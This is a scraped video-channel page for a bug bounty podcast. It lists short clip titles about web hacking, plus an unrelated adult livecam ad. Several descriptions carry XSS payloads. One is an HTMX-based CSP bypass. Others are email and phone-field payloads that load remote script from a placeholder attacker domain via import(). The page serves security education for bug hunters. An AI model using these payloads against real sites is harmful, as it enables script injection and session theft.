Critical Thinking - Bug Bounty Podcast's banner
Critical Thinking - Bug Bounty Podcast's profile picture

Critical Thinking - Bug Bounty Podcast

@ctbbpodcast • 26,021 subscribers

A 'by Hackers for Hackers' podcast focused on technical bug bounty content. Exploits, techniques, stories, bounties. Hosts: @rhynorater, @rez0__, @gr3pme

Videos

LIVE
1.2k

Anya Rossi

sweetdream.ai

SweetDream.aiSponsored•Livecam
Streaming Now

Watch Anya Live

Anya is streaming live right now! Join her private show and enjoy exclusive content.

HD live stream
Exclusive private shows
1.2k viewers online

Free preview available • Premium content

Double Auth Headers FTW
0:47
ctbbpodcast's profile picture

Double Auth Headers FTW

Critical Thinking - Bug Bounty Podcast

19,305 views • 24 days ago

How to find the manifest.json file of any Chrome extension: 1. Go to chrome://extensions 2. Turn on Developer mode 3. Copy the extension ID 4. Go to ~/Library/Application Support/Google/Chrome/Default/Extensions 5. Find the matching ID then find the manifest.json file!
0:32
ctbbpodcast's profile picture

How to find the manifest.json file of any Chrome extension: 1. Go to chrome://extensions 2. Turn on Developer mode 3. Copy the extension ID 4. Go to ~/Library/Application Support/Google/Chrome/Default/Extensions 5. Find the matching ID then find the manifest.json file!

Critical Thinking - Bug Bounty Podcast

26,088 views • 1 year ago

Crazy CSP Bypass here by Paulos Yibelo! Utilizes JSONP endpoints where you can ONLY use [a-z.]+ as the callback and crafts a valid exploit. Masterful.
0:46
ctbbpodcast's profile picture

Crazy CSP Bypass here by Paulos Yibelo! Utilizes JSONP endpoints where you can ONLY use [a-z.]+ as the callback and crafts a valid exploit. Masterful.

Critical Thinking - Bug Bounty Podcast

28,058 views • 2 years ago

Do NOT get baited, stay focused and HACK HARD
1:03
ctbbpodcast's profile picture

Do NOT get baited, stay focused and HACK HARD

Critical Thinking - Bug Bounty Podcast

14,349 views • 11 months ago

.­Mathias Karlsson blew our minds with his latest HTMX research including this tasty CSP bypass. <img src=x hx-on:htmx:load='alert(0)' /> Bypasses lack of unsafe-inline, but uses unsafe-eval.
0:59
ctbbpodcast's profile picture

.­Mathias Karlsson blew our minds with his latest HTMX research including this tasty CSP bypass. <img src=x hx-on:htmx:load='alert(0)' /> Bypasses lack of unsafe-inline, but uses unsafe-eval.

Critical Thinking - Bug Bounty Podcast

14,673 views • 2 years ago

RFC-compliant payloads to try and put in your username or telephone number fields on your next target: Email: "><img/src/onerror=import('//domain/')>"Domain.com Mobile: 013371337;ext=<img/src/onerror=import('//domain/')>
0:32
ctbbpodcast's profile picture

RFC-compliant payloads to try and put in your username or telephone number fields on your next target: Email: "><img/src/onerror=import('//domain/')>"Domain.com Mobile: 013371337;ext=<img/src/onerror=import('//domain/')>

Critical Thinking - Bug Bounty Podcast

12,766 views • 2 years ago

No more content to load